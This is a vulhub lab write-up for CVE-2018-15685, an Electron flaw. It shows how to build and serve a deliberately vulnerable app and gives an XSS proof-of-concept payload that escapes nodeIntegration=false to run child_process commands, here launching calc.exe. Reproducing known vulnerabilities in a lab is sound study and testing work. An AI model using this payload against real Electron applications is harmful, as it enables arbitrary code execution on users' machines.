Electron WebPreferences Remote Code Execution Vulnerability(CVE-2018-15685)

中文版本(Chinese version)

Electron is an open source library developed by GitHub for building cross-platform desktop applications with HTML, CSS, and JavaScript. Electron accomplishes this by combining Chromium and Node.js into a single runtime and apps can be packaged for Mac, Windows, and Linux.

When Electron sets nodeIntegration=false (default), the JavaScript in the page cannot access the built-in library of node.js. CVE-2018-15685 bypass this limitation, enabling arbitrary commands to be executed if the user can execute JavaScript (such as when accessing a third-party page or an XSS vulnerability exists in the app).

Reference links:

Compile application

Execute the following command to compile an vulnerability application:

docker-compose run -e PLATFORM=win64 --rm electron

The value of PLATFORM is the operating system on which the application is running. The options are:win64win32maclinux

After the compilation completed, execute the following command to run the web service:

docker-compose run --rm -p 8080:80 web

Now,accesshttp://your-ip:8080/cve-2018-15685.tar.gzto download application.

expliot

Open the app:

Click submit, the content in the input box will be displayed in the app, and there is obviously an XSS vulnerability.

We submit <img src=1 onerror="require('child_process').exec('calc.exe')"> and find that nothing happens, because nodeIntegration=false.

At this time, submit the POC (Windows):

<img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');">

As you see, calc.exe shows up.

Copied From: vulhub/electron/CVE-2018-15685